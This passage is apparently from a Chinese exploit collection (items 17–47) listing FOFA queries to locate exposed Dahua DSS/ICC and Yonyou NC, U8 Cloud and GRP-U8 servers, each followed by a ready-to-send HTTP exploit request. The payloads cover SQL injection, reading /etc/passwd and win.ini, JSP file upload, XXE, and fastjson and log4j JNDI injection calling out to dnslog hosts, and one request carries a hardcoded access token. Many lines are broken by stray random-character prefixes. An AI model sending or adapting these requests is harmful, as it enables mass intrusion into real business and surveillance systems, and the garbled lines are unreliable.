User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
2 L; [  U2 ]- nConnection: close
1 v' i( o0 j4 N+ h8 RAccept: */*
8 U" i( n3 I* P- B: DAccept-Language: en
9 @6 o' |/ R7 v; s( ]+ j( r) gAccept-Encoding: gzip
) W% J# e6 |! e! S! D7 {; K9 M

0 ~- Z0 X/ N* p7 O4 O$ y17. 大华 DSS itcBulletin SQL 注入
. F0 c- b0 [" f" q" {FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
. G( `! [7 D/ Y# M" AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% |+ g5 I9 ?& R5 N3 CConnection: close
1 n# K% |4 z* _9 R! o% SContent-Length: 345
# Z$ d7 u# K* i7 }$ J6 R. Z# pAccept-Encoding: gzip
$ s6 z7 p$ M# C9 w. |! n6 H
- F; z. V, a2 i1 I: l<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
/ l$ W) D+ D! y) \4 V( J1 M; j1 g2 @1 M<s11:Body>
0 V" f' M8 E# [$ z    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
6 q' O8 ?, b; s. V/ ]       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>

( c- x% ]. U* E' r8 c
( ^4 i9 T- P$ V" X' e' V18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  S# ^! P" O: P: }4 b4 }+ OFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
; \" Z' I6 p/ d" `7 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ k$ z3 \- |( R. ~5 PAccept-Encoding: gzip, deflate
# I8 c& M$ S) _6 e" l5 QAccept: */*
) i- q5 s. t6 u0 J0 NConnection: keep-alive


, e! l& W# q0 i/ _, \2 _
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 O  `% A5 t' y0 U- P

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
/ P& {7 W' S% ~" RGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* X! Q: u" ]; p8 J+ vConnection: close
: X0 j9 N) T4 E/ ^Accept: */*
Accept-Language: en
0 {) ~8 T3 h8 J7 V" K3 nAccept-Encoding: gzip
2 q! l0 e# Z) a: g+ r

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
) n* }" }: J4 ?! l2 C$ }- q3 Y! rPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# i! U9 @7 U( b9 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: f& r1 A+ }* JContent-Length: 161
0 Y9 E6 h  x! m- p: h' g0 k* lAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
6 x+ P! [" I! X) z9 N2 D
{
"a":{
8 `0 m, _1 D  U( w   "@type":"com.alibaba.fastjson.JSONObject",
' g! i4 T1 R! ?, G2 b; ~7 T    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
+ U! T3 j# k# @5 c$ U7 V  }""
8 s$ F7 a8 Y* B2 ]- l0 E}

: O4 g+ G4 ^2 B
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
. l& F8 \/ u, }- ^' O& X6 pFOFA：icon_hash="-1935899595"
+ D: b4 G' ]" aPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

1 l- u: [: f! |5 C- N{
  x- j" @7 o0 t8 s% A1 Q5 r- S"loginName":"${jndi:ldap://dnslog}"
+ G6 N- l: D7 m/ Y7 h! _" ]}


2 ?$ P7 `) `: P" Z' e
6 g3 C4 O- v1 G- X1 F4 w23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 J/ c' x+ _* wContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
: \) u) t2 O/ Z* e0 k: b9 k: p/ ~. }Connection: close

{
8 C5 J+ g- |) j0 ^    "a":{
  M( `; r. `" ^( S; k        "@type":"com.alibaba.fastjson.JSONObject",
$ p" T) Q' Y4 v) }9 F" K       {"@type":"java.net.URL","val":"http://DNSLOG"}
6 G+ p9 P+ f1 r: y+ |8 x        }""
* I) O8 O7 T( m3 o4 ?$ P3 g; |- W}

4 O5 A' f" P+ C! E# @+ @
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
1 R# ^$ Z# g/ Y2 n( T( Z3 uPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 h5 C/ T3 ]! v! A0 s& H; I$ f5 e" N1 lConnection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
9 K# K! i$ x! F  V7 W5 Y% z0 t
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ f/ f/ q+ k. k4 w* n- h3 z+ fContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
. ^/ j! b) H; u- ~Content-Type: text/plain
( t( Z& S( _" ^0 \" f
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
9 m, n, D+ [: A) K1 VContent-Disposition: form-data; name="fname"
0 @% `( g  F, p( [& H& p. A8 t
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
; ~; \8 l  X3 @-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
' \; m8 A% y! V7 L

25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
1 {6 @9 a6 i+ i) x; pPOST /portal/registerServlet HTTP/1.1
1 ?2 Q% `! ]+ S- v/ QHost: your-ip
+ k! i* B8 z, Z" E/ N" tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
  J4 m3 {; N8 w! `% G% X. lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

3 F- l$ x" s* a) W' o% ]- H& Btype=1&dsname=ldap://dnslog

8 G- \6 m  ]! U7 k+ x* q; I

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
0 z( @0 Q0 h5 H) ?& p! \, UGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" A0 h# I% Z: S  W# |- X# w9 X7 l1 lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ p' Y) a  m( i! nContent-Type: application/x-www-form-urlencoded
' k1 X& s( \' U8 @( F* v' Z4 d3 F( pAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

& T( d* z$ W' O3 L& t8 |
# _0 u5 e: E8 ^- Q, @27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
7 l( g! F/ ^6 m  f1 y( E, Q: ^Host: your-ip
& m' W4 r. i% |9 M* m* r7 l1 k) `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; |3 e, f( i* D$ k  S3 x  UAccept-Encoding: identity
. r- b+ W$ X5 R1 o6 M" W; hConnection: close
# J% f! c( o1 @7 o  uContent-Type: text/xml; charset=utf-8


+ o# Z, r2 C( D2 L28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
  m* P2 [; a; w, D6 p1 m/ w& O2 z4 RPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
9 K+ S) l+ ~! U; SConnection: close
Content-Length: 268
" [5 r; L% ?& V3 RContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
1 M9 J6 `8 i' N& A$ g! U
* A/ `# v/ ^& ^, s------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
2 L* E3 l) L2 z" `- o* ~. j
3 M8 [$ l4 g% v) f<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
; V. z% p- E$ S( z* P- c
% v, [) i- A- E2 Z: V5 u6 v4 |
/uapim/static/pages/nc/head.jsp
$ h0 z( l; [$ C7 H  E
29. 用友NC down/bill SQL注入
& F4 ^9 G" p$ T, VFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
2 E9 K, A# x# P+ SHost: your-ip
) k1 E( P- ^9 q! `2 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! ~3 l  M& q' {: }Content-Type: application/x-www-form-urlencoded
4 z$ ^/ T: g: }) AAccept-Encoding: gzip, deflate
6 S% d) X) R% }4 E. [# @" y. X7 dAccept: */*
Connection: keep-alive
1 Y# F* k5 B  k( J$ ~% x' L5 q% I

. v3 p  x- e6 k% N. O7 s* L. o30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
6 G; l# H0 e9 h8 d4 Q1 LPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
( I! P5 {5 m% i% OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
. j; o3 o. p+ `0 \+ N$ c4 k
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
: ?* H: L! f; VContent-Type: image/jpeg
2 Q0 r: k8 d. m* K------WebKitFormBoundaryH970hbttBhoCyj9V--
8 b) q' A9 ]! t
0 x0 e; b8 u9 V. H+ P, k
% G3 f# H) M( ^& Q1 z, _31. 用友NC runStateServlet SQL注入
version<=6.5
1 ~* L' f0 \% k) J+ aFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
2 K0 o2 d2 I# y0 j( }2 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; h& ~' I* w) e$ @" t% y9 ?: YContent-Type: application/x-www-form-urlencoded


/ {: w) }) g9 S9 j, `6 v32. 用友NC complainbilldetail SQL注入
. g0 @4 j! ?0 U, q4 ~) Tversion= NC633、NC65
0 l* ^1 q, V8 O: y. XFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& C4 N- l' y2 H# F- O2 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 O% U: S( [1 S$ O: n5 y* z/ AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ D- X* A( j# _6 P

33. 用友NC downTax/download SQL注入
; m7 d$ q! x$ y' Zversion：NC6.5FOFA：app="用友-UFIDA-NC"
# D1 R% L  t7 mGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 T$ c- z1 I! R2 o. m6 CHost: your-ip
: E8 ~( {0 O7 u- l' [$ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- c  y, ]; g: f+ ZAccept-Encoding: gzip, deflate
8 E6 R, A" ~' n' n( f$ O8 W( RAccept: */*
Connection: keep-alive
2 p" c5 @) L/ L& R! ~+ ?
! b9 f: C' a' {5 P8 d
7 z6 }* B1 O: e0 j. M34. 用友NC warningDetailInfo接口SQL注入
+ T5 {1 ~1 @/ h! @7 F2 u- g1 ^FOFA：app="用友-UFIDA-NC"
; A" A( M" B# Z& ]6 G' ~GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
. F3 a  w' k) @5 s- lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ D5 q/ u  [8 I* U. K1 ]; sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; i& e7 Q4 }, o% h# HAccept: */*
$ g" T" u0 w- C8 c" D  TConnection: keep-alive

* A  ?: z% X5 }5 J2 s0 P) Q
$ p/ G% y. z; P* `5 o7 k2 i! r5 U3 B, e( }5 A35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
2 h% Q6 }/ m# W; \5 r  I; j9 BPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
7 N' c6 C; D8 @1 m* gUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 v* [. V3 e1 J' i# {" y0 JAccept-Encoding: gzip, deflate
2 p9 |) l% o  @6 CAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
) ^0 N1 }; G4 DContent-Length: 190
( }- O. p; h+ {* G$ U  W6 [4 SContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

( x& F% [* W8 B1 R2 S" w" J
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- M9 o8 Y( D  k) \/ DConnection: close
Content-Type: application/x-www-form-urlencoded
0 k3 t8 S9 E: W! N4 XUpgrade-Insecure-Requests: 1

* w, _% Q1 m0 P: ]msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

4 _9 }3 v1 e( P5 F- C' K
" _# d1 A" h8 u2 f37. 用友NC-Cloud IUpdateService XXE
% u4 M( Z; x$ P! y9 l. `FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+ ^: J+ k0 T/ q( G) \1 j: SPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
1 t) Q6 y% O9 j4 U$ n! T" mHost: 192.168.40.130:8989
5 l: t+ W" z0 N! _8 h* GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
# U& o$ C# z' y2 TAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 q7 Z, {  z* QContent-Type: text/xml;charset=UTF-8
, P1 [/ V9 `# E) R7 SSOAPAction: urn:getResult
; F8 a# ?+ G) G  [8 aUpgrade-Insecure-Requests: 1
1 z  X3 i% b+ W9 z0 ^
8 Y0 h; {3 w: z  Z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
& |7 L  v( j' f4 X: S6 T: T0 m3 [<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
/ s, X/ Y/ s% _; _$ Q! N<!--type: string-->
<iup:string><![CDATA[
3 g, [' ?0 D) J0 Z( F5 V8 W<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
1 g+ Y7 k' O3 P# Y2 t. g& |& u6 Z<xxx/>]]></iup:string>
</iup:getResult>
9 o  ]% [8 k, [( r</soapenv:Body>
. x; G$ O% O& k- x3 \- w</soapenv:Envelope>


! @. O1 n: [6 q/ \2 A. K
' T) I( t* ^: R) j: d/ u38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
3 h& L& Z5 J. C8 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
/ _% w9 Q+ h! `* i6 \Accept-Language: zh-CN,zh;q=0.9
Connection: close
; N$ }  I1 |$ I. d/ nContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
. i4 ]% b: `# `. `& U
7 b1 Y5 z3 J5 E0 C8 l
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
- `8 n' _: ]# k5 \8 QPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
& Z! Z( J/ Y( o, i! |X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

: Q1 O( U" ]) n$ ~1 @  N/ |usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

, h8 n2 s1 {; A* @  T: g% C# K8 n
( c# w8 d# O: N/ T40. 用友U8-Cloud XChangeServlet XXE
  Z1 f% Z9 P) [2 qFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
& i. O3 [+ c7 g1 x5 {7 qHost: x.x.x.x
& G" q6 @* D/ iUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 G1 N; S2 G% H" L  a1 y  }3 H& B* AContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

( b% u# c5 _# f5 J6 i! K
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
/ o( \: E' D* v6 ]. q6 ]Host:
3 ~# U5 T& K1 V4 t  eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, i, m/ I! d+ d& JContent-Type: application/json
5 v1 ~4 ^$ R. sAccept-Encoding: gzip
2 \( Z& F7 H) k# t$ ~- ~$ aConnection: close


3 y" L$ d3 b+ z" t" Z42. 用友GRP-U8 SmartUpload01 文件上传
$ D/ Z$ K+ `5 t& _FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
, I# d% H) D& J7 H/ fHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ I/ J6 E3 U* g+ m/ K7 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
5 h( P% {) m5 V# H
9 v1 e+ Y7 L+ `; L" ~& MPAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
( Y0 q  |/ B0 R1 n/ s" VPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
; U* b7 R5 Z4 D1 ^, Z0 s( NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ W9 o  c* X3 mAccept-Encoding: gzip, deflate
8 X8 j* n) ]- Y$ D# aAccept-Language: zh-CN,zh;q=0.9
2 e) U3 _" o3 E9 H: LConnection: close
- v# W. t& Z7 l: K; w9 {SOAPAction:
) D! W4 P2 ^% \% @6 J- ]  @Content-Type: text/xml;charset=UTF-8
: T; |/ T: ^# n9 R' c: L) k8 x7 g
7 @9 B+ T, a9 _& S/ \- D, y3 l<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
3 n! a) z5 ^/ ?* W      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
* ~5 b2 N4 h3 c- I2 z4 x

4 O7 h" Y+ f& L6 q2 t. |9 h4 t& I44. 用友GRP-U8 bx_dj_check.jsp SQL注入
% p: e0 U( \0 R5 U5 i6 A" h( mFOFA:app="用友-GRP-U8"
  X5 a2 W# k% r5 u" eGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
6 g( F, R- v. o) O; UHost: your-ip
/ H6 V1 Q- q7 a4 H) |6 r6 \/ MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: J- X+ ?# @* S' E+ NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! ~; Q' T/ h( L4 H+ rConnection: close

- E% H, W9 z$ p" S7 M9 t
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
# i2 A7 J. p7 g& o6 S4 T) W: X" a5 OPOST /ufgovbank HTTP/1.1
7 a# @2 T5 N4 y$ v- N8 V& I; ]Host: 192.168.40.130:222
, J* R8 }  R8 [. b' @: |& AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
  ^+ O0 x% O6 b$ CContent-Length: 161
8 |: X1 R4 z! L: \/ K4 W- G, JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ o4 T8 h' ?9 e4 X; uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ U& i+ `# _( q6 S; y, `' \Content-Type: application/x-www-form-urlencoded
( z# j1 W8 R; Y5 lAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
( f( W; G- `- N0 P2 I3 Z( Q# D<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
) ^1 k% O* ^4 t' \+ M% t& FGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
+ B, d: C+ @9 eHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* X& d; \& p  H9 J) sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! z4 n4 Q. [9 r
% m; m" \: u- E4 _& U2 j+ B5 Y7 o
- Z3 d4 R1 b3 {7 B- O% a  K47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
9 q0 x2 w$ u5 j; A8 {GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
  P4 D, n9 s5 W' z, g( EHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
